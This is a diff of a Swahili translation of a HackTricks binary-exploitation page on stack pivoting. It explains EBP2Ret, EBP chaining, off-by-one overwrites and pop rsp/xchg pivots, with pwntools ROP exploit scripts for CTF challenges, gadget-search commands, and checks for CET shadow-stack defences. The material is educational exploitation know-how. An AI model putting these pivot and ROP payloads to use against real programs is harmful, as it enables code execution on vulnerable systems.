Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r

src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -4,59 +4,63 @@
 
 ## Basic Information
 
-Teknolojia hii inatumia uwezo wa kudhibiti **Base Pointer (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya register ya EBP na mfuatano wa maagizo **`leave; ret`**.
+Teknolojia hii inatumia uwezo wa kudhibiti **Base Pointer (EBP/RBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya frame pointer na mfuatano wa amri **`leave; ret`**.
 
-Kumbuka, **`leave`** kimsingi inamaanisha:
+Kumbuka, kwenye x86/x86-64 **`leave`** ni sawa na:
 ```
-mov       ebp, esp
+mov       rsp, rbp   ; mov esp, ebp on x86
-pop       ebp
+pop       rbp        ; pop ebp on x86
 ret
 ```
-Na kama **EBP iko kwenye stack** kabla ya EIP, inawezekana kuikontrol kwa kudhibiti stack.
+Na kwa kuwa **EBP/RBP iliyohifadhiwa iko kwenye stack** kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuikontrol kwa kudhibiti stack.
+
+> Maelezo
+> - Kwenye 64-bit, badilisha EBP→RBP na ESP→RSP. Maana ni sawa.
+> - Wasanidi programu wengine huacha kiashiria cha fremu (angalia "EBP huenda isitumike"). Katika kesi hiyo, `leave` huenda isiwepo na mbinu hii haitafanya kazi.
 
 ### EBP2Ret
 
-Tekniki hii ni muhimu hasa unapoweza **kubadilisha register ya EBP lakini huna njia ya moja kwa moja ya kubadilisha register ya EIP**. Inatumia tabia ya kazi wakati zinamaliza kutekeleza.
+Mbinu hii ni muhimu hasa unapoweza **kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja ya kubadilisha EIP/RIP**. Inatumia tabia ya epilogue ya kazi.
 
-Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP bandia** kwenye stack inayotaja eneo katika kumbukumbu ambapo anwani ya shellcode yako iko (plus bytes 4 ili kuzingatia operesheni ya `pop`), unaweza kudhibiti kwa njia isiyo ya moja kwa moja EIP. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo hili lililotengenezwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji humo.**\
+Ikiwa, wakati wa utekelezaji wa `fvuln`, unafanikiwa kuingiza **EBP ya uwongo** kwenye stack inayorejelea eneo katika kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (plus bytes 8 kwenye amd64 / bytes 4 kwenye x86 kuzingatia `pop`), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Kadri kazi inavyorejea, `leave` inaweka RSP kwenye eneo lililotengenezwa na `pop rbp` inayopunguza RSP, **ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji hapo**. Kisha `ret` itatumia anwani hiyo.
-Kumbuka jinsi unavyohitaji **kujua anwani 2**: Ile ambayo ESP itakwenda, ambapo utahitaji kuandika anwani inayotajwa na ESP.
 
-#### Ujenzi wa Exploit
+Kumbuka jinsi unavyohitaji kujua anwani 2: anwani ambapo ESP/RSP itakwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo `ret` itatumia.
 
-Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data / anwani zisizo na mipaka**. ESP itakuwa inatazama hapa na **kufanya `ret` ya kwanza**.
+#### Ujenzi wa Ulaghai
 
-Kisha, unahitaji kujua anwani inayotumiwa na `ret` ambayo itafanya **kodi isiyo na mipaka**. Unaweza kutumia:
+Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data/anwani zisizo na mipaka**. RSP itakuwa inarejelea hapa na **itakula `ret` ya kwanza**.
+
+Kisha, unahitaji kuchagua anwani inayotumika na `ret` ambayo itafanya **hamasisho la utekelezaji**. Unaweza kutumia:
 
 - Anwani halali ya [**ONE_GADGET**](https://github.com/david942j/one_gadget).
-- Anwani ya **`system()`** ikifuatiwa na **bytes 4 za takataka** na anwani ya `"/bin/sh"` (x86 bits).
+- Anwani ya **`system()`** ikifuatiwa na kurudi sahihi na hoja (kwenye x86: lengo la `ret` = `&system`, kisha bytes 4 za takataka, kisha `&"/bin/sh"`).
-- Anwani ya **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ikifuatiwa na **shellcode** ya kutekeleza.
+- Anwani ya **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ikifuatiwa na shellcode ya ndani.
-- Mnyororo fulani wa [**ROP**](../rop-return-oriented-programing/index.html).
+- Mnyororo wa [**ROP**](../rop-return-oriented-programing/index.html) uliowekwa kwenye kumbukumbu inayoweza kuandikwa.
 
-Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika sehemu iliyo na udhibiti wa kumbukumbu, lazima kuwe na **bytes 4** kwa sababu ya sehemu ya **`pop`** ya amri ya `leave`. Itakuwa inawezekana kutumia hizi 4B kuweka **EBP bandia ya pili** na kuendelea kudhibiti utekelezaji.
+Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika eneo lililodhibitiwa, lazima kuwe na **nafasi kwa `pop ebp/rbp`** kutoka `leave` (8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuweka **EBP ya pili ya uwongo** na kudumisha udhibiti baada ya wito wa kwanza kurudi.
 
-#### Off-By-One Exploit
+#### Ulaghai wa Off-By-One
 
-Kuna toleo maalum la tekniki hii linalojulikana kama "Off-By-One Exploit". Inatumika unapoweza **kubadilisha tu byte ya chini zaidi ya EBP**. Katika hali kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu za kwanza zinazoshiriki na EBP, kuruhusu udhibiti wa kufanana na hali zilizozuiliwa zaidi.\
+Kuna toleo linalotumika unapoweza **kubadilisha tu byte ya chini zaidi ya EBP/RBP iliyohifadhiwa**. Katika kesi hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na **`ret`** lazima liwe na bytes tatu/tano za kwanza zinazoshiriki na EBP/RBP ya awali ili kuweza kuhamasisha kwa kuandika byte 1. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka kadri inavyowezekana ndani ya ukurasa wa karibu/eneo lililopangwa.
-Kawaida inabadilishwa byte 0x00 ili kuruka mbali iwezekanavyo.
 
-Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba ESP mpya inatazama ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
+Pia ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba RSP mpya inaelekea ndani ya sled na mnyororo wa mwisho wa ROP unatekelezwa.
 
-### **EBP Chaining**
+### EBP Chaining
 
-Kwa hivyo, kuweka anwani iliyo na udhibiti katika kiingilio cha `EBP` cha stack na anwani ya `leave; ret` katika `EIP`, inawezekana **kuhamasisha `ESP` kwa anwani ya `EBP` iliyo na udhibiti kutoka kwenye stack**.
+Kwa kuweka anwani iliyodhibitiwa kwenye slot ya `EBP` iliyohifadhiwa ya stack na gadget ya `leave; ret` katika `EIP/RIP`, inawezekana **kuhamasisha `ESP/RSP` kwenda kwenye anwani inayodhibitiwa na mshambuliaji**.
 
-Sasa, **`ESP`** inakontroliwa ikielekea kwenye anwani inayotakiwa na amri inayofuata ya kutekeleza ni `RET`. Ili kutumia hii, inawezekana kuweka katika sehemu iliyo na udhibiti ya ESP hii:
+Sasa `RSP` inakontroliwa na amri inayofuata ni `ret`. Weka kwenye kumbukumbu iliyodhibitiwa kitu kama:
 
-- **`&(next fake EBP)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwenye amri ya `leave`.
+- `&(next fake EBP)` -> Imewekwa na `pop ebp/rbp` kutoka `leave`.
-- **`system()`** -> Inaitwa na `ret`.
+- `&system()` -> Inaitwa na `ret`.
-- **`&(leave;ret)`** -> Inaitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena.
+- `&(leave;ret)` -> Baada ya `system` kumalizika, inahamisha RSP kwenda EBP ya uwongo inayofuata na inaendelea.
-- **`&("/bin/sh")`**-> Param kwa `system`.
+- `&("/bin/sh")` -> Hoja kwa `system`.
 
-Kimsingi kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.
+Kwa njia hii inawezekana kuunganisha EBPs kadhaa za uwongo ili kudhibiti mtiririko wa programu.
 
-Hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), lakini ngumu zaidi bila faida dhahiri lakini inaweza kuwa ya kuvutia katika baadhi ya hali za ukingo.
+Hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), lakini ngumu zaidi na inatumika tu katika hali za ukingo.
 
-Zaidi ya hayo, hapa kuna [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia tekniki hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
+Zaidi ya hayo, hapa kuna [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia mbinu hii na **stack leak** ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:
 ```python
 from pwn import *
 
@@ -72,7 +76,7 @@ POP_RDI = 0x40122b
 POP_RSI_R15 = 0x401229
 
 payload = flat(
-0x0,               # rbp (could be the address of anoter fake RBP)
+0x0,               # rbp (could be the address of another fake RBP)
 POP_RDI,
 0xdeadbeef,
 POP_RSI_R15,
@@ -81,23 +85,24 @@ POP_RSI_R15,
 elf.sym['winner']
 )
 
-payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)
+payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)
 
 payload += flat(
-buffer,         # Load leak address in RBP
+buffer,         # Load leaked address in RBP
-LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
+LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
 )
 
 pause()
 p.sendline(payload)
 print(p.recvline())
 ```
-## EBP huenda isiweze kutumika
+> nasibu ya amd64: System V ABI inahitaji usawa wa byte 16 kwenye maeneo ya wito. Ikiwa mnyororo wako unaita kazi kama `system`, ongeza gadget ya usawa (mfano, `ret`, au `sub rsp, 8 ; ret`) kabla ya wito ili kudumisha usawa na kuepuka ajali za `movaps`.
 
-Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imeandikwa kwa baadhi ya uboreshaji, **EBP kamwe haipati kudhibiti ESP**, kwa hivyo, yoyote exploit inayofanya kazi kwa kudhibiti EBP itashindwa kimsingi kwa sababu haina athari halisi.\
+## EBP huenda isitumike
-Hii ni kwa sababu **prologue na epilogue hubadilika** ikiwa binary imeboreshwa.
 
-- **Haitaboreshwa:**
+Kama [**ilivyoelezwa katika chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ikiwa binary imeandikwa kwa baadhi ya uboreshaji au kwa kutokuwepo kwa frame-pointer, **EBP/RBP kamwe haiwezi kudhibiti ESP/RSP**. Hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue hairejeshi kutoka kwa frame pointer.
+
+- Haijaboreshwa / frame pointer inatumika:
 ```bash
 push   %ebp         # save ebp
 mov    %esp,%ebp    # set new ebp
@@ -108,22 +113,24 @@ sub    $0x100,%esp  # increase stack size
 leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
 ret                 # return
 ```
-- **Imara:**
+- Imeboreshwa / kiashiria cha fremu hakijajumuishwa:
 ```bash
-push   %ebx         # save ebx
+push   %ebx         # save callee-saved register
 sub    $0x100,%esp  # increase stack size
 .
 .
 .
 add    $0x10c,%esp  # reduce stack size
-pop    %ebx         # restore ebx
+pop    %ebx         # restore
 ret                 # return
 ```
+On amd64 utaona mara nyingi `pop rbp ; ret` badala ya `leave ; ret`, lakini ikiwa kiashiria cha fremu hakijatumika kabisa basi hakuna epilogue ya `rbp` ya kupita kupitia.
+
 ## Njia nyingine za kudhibiti RSP
 
-### **`pop rsp`** gadget
+### `pop rsp` gadget
 
-[**Katika ukurasa huu**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na **`pop rsp` gadget** na kuna **leak kutoka kwenye stack**:
+[**Katika ukurasa huu**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hiyo ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na **`pop rsp` gadget** na kuna **leak kutoka kwenye stack**:
 ```python
 # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 # This version has added comments
@@ -167,7 +174,7 @@ pause()
 p.sendline(payload)
 print(p.recvline())
 ```
-### xchg \<reg>, rsp gadget
+### xchg <reg>, rsp gadget
 ```
 pop <reg>                <=== return pointer
 <reg value>
@@ -181,27 +188,74 @@ Angalia mbinu ya ret2esp hapa:
 ../rop-return-oriented-programing/ret2esp-ret2reg.md
 {{#endref}}
 
-## Marejeleo na Mifano Mingine
+### Kupata gadgets za pivot haraka
 
-- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
+Tumia mtafutaji wako wa gadgets unayependa kutafuta primitives za pivot za jadi:
-- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
+
-- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
+- `leave ; ret` kwenye kazi au katika maktaba
-- 64 bits, exploitation ya off by one na mchain ya rop ikianza na ret sled
+- `pop rsp` / `xchg rax, rsp ; ret`
-- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
+- `add rsp, <imm> ; ret` (au `add esp, <imm> ; ret` kwenye x86)
-- 64 bit, hakuna relro, canary, nx na pie. Program inatoa leak kwa stack au pie na WWW ya qword. Kwanza pata stack leak na tumia WWW kurudi na kupata pie leak. Kisha tumia WWW kuunda loop ya milele ikitumia entries za `.fini_array` + kuita `__libc_csu_fini` ([maelezo zaidi hapa](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Kwa kutumia "kuandika" hii "ya milele", imeandikwa mchain ya ROP katika .bss na kumaliza kwa kuitwa pivoting na RBP.
+
+Mifano:
+```bash
+# Ropper
+ropper --file ./vuln --search "leave; ret"
+ropper --file ./vuln --search "pop rsp"
+ropper --file ./vuln --search "xchg rax, rsp ; ret"
+
+# ROPgadget
+ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
+```
+### Classic pivot staging pattern
+
+Mkakati thabiti wa pivot unaotumika katika CTFs/exploits nyingi:
+
+1) Tumia overflow ndogo ya awali kuita `read`/`recv` kwenye eneo kubwa linaloweza kuandikwa (mfano, `.bss`, heap, au kumbukumbu ya RW iliyopangwa) na weka mchaini kamili ya ROP hapo.
+2) Rudisha kwenye gadget ya pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) ili kuhamasisha RSP kwenye eneo hilo.
+3) Endelea na mchaini iliyopangwa (mfano, leak libc, ita `mprotect`, kisha `read` shellcode, kisha ruka kwake).
+
+## Modern mitigations that break stack pivoting (CET/Shadow Stack)
+
+CPUs na OS za kisasa za x86 zinaendelea kutumia **CET Shadow Stack (SHSTK)**. Ikiwa SHSTK imewezeshwa, `ret` inalinganisha anwani ya kurudi kwenye stack ya kawaida na stack ya kivuli iliyolindwa na vifaa; tofauti yoyote inasababisha kosa la Control-Protection na kuua mchakato. Hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitakufa mara tu `ret` ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivoted.
+
+- Kwa maelezo ya nyuma na maelezo ya kina angalia:
+
+{{#ref}}
+../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
+{{#endref}}
+
+- Ukaguzi wa haraka kwenye Linux:
+```bash
+# 1) Is the binary/toolchain CET-marked?
+readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
+
+# 2) Is the CPU/kernel capable?
+grep -E 'user_shstk|ibt' /proc/cpuinfo
+
+# 3) Is SHSTK active for this process?
+grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)
+
+# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
+(gdb) checksec
+```
+- Maelezo kwa maabara/CTF:
+- Baadhi ya distros za kisasa zinawezesha SHSTK kwa binaries zenye CET wakati msaada wa vifaa na glibc upo. Kwa majaribio yaliyodhibitiwa katika VMs, SHSTK inaweza kuzuiliwa kwa mfumo mzima kupitia parameter ya boot ya kernel `nousershstk`, au kuwezeshwa kwa kuchagua kupitia glibc tunables wakati wa kuanzisha (ona marejeleo). Usizuilie mipango kwenye malengo ya uzalishaji.
+- Mbinu za JOP/COOP au SROP zinaweza bado kuwa na ufanisi kwenye baadhi ya malengo, lakini SHSTK hasa inavunja pivots za `ret`.
+
+- Kumbuka Windows: Windows 10+ inaonyesha hali ya mtumiaji na Windows 11 inaongeza hali ya kernel "Ulinzi wa Stack unaolazimishwa na Vifaa" uliojengwa kwenye shadow stacks. Mchakato unaofaa CET unazuia pivoting ya stack/ROP kwenye `ret`; waendelezaji wanajiandikisha kupitia CETCOMPAT na sera zinazohusiana (ona rejeleo).
 
 ## ARM64
 
-Katika ARM64, **prologue na epilogues** za kazi **hazihifadhi na kurejesha usajili wa SP** katika stack. Zaidi ya hayo, **amri ya `RET`** hairejeshi kwenye anwani inayotolewa na SP, bali **kwenye anwani ndani ya `x30`**.
+Katika ARM64, **prologue na epilogues** za kazi **hazihifadhi na kurejesha register ya SP** kwenye stack. Zaidi ya hayo, **`RET`** hairejeshi kwenye anwani inayotajwa na SP, bali **kwenye anwani ndani ya `x30`**.
 
-Hivyo, kwa kawaida, kwa kutumia epilogue huwezi **kudhibiti usajili wa SP** kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya **kudhibiti usajili wa `x30`**.
+Hivyo, kwa kawaida, kwa kutumia tu epilogue hu **wezi kudhibiti register ya SP** kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya **kudhibiti register ya `x30`**.
 
 - prologue
 
 ```armasm
 sub sp, sp, 16
 stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
-mov x29, sp             // FP inashikilia rekodi ya frame
+mov x29, sp             // FP inaonyesha rekodi ya frame
 ```
 
 - epilogue
@@ -213,7 +267,7 @@ ret
 ```
 
 > [!CAUTION]
-> Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 itakuwa kuwa na uwezo wa **kudhibiti `SP`** (kwa kudhibiti usajili fulani ambao thamani yake inapitishwa kwa `SP` au kwa sababu fulani `SP` inachukua anwani yake kutoka stack na tuna overflow) na kisha **kuandika epilogu** ili kupakia usajili wa **`x30`** kutoka **`SP`** iliyo **kudhibitiwa** na **`RET`** kwake.
+> Njia ya kufanya kitu kinachofanana na pivoting ya stack katika ARM64 itakuwa kuwa na uwezo wa **kudhibiti `SP`** (kwa kudhibiti register fulani ambayo thamani yake inapitishwa kwa `SP` au kwa sababu fulani `SP` inachukua anwani yake kutoka kwenye stack na tuna overflow) na kisha **kuandika epilogue** ili kupakia register ya **`x30`** kutoka kwa **`SP`** iliyo **dhibitiwa** na **`RET`** kwake.
 
 Pia katika ukurasa ufuatao unaweza kuona sawa na **Ret2esp katika ARM64**:
 
@@ -221,4 +275,15 @@ Pia katika ukurasa ufuatao unaweza kuona sawa na **Ret2esp katika ARM64**:
 ../rop-return-oriented-programing/ret2esp-ret2reg.md
 {{#endref}}
 
+## Marejeleo
+
+- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
+- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
+- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
+- 64 bits, off by one exploitation with a rop chain starting with a ret sled
+- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
+- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
+- Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK, `nousershstk`, `/proc/$PID/status` flags, and enabling via `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
+- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
+
 {{#include ../../banners/hacktricks-training.md}}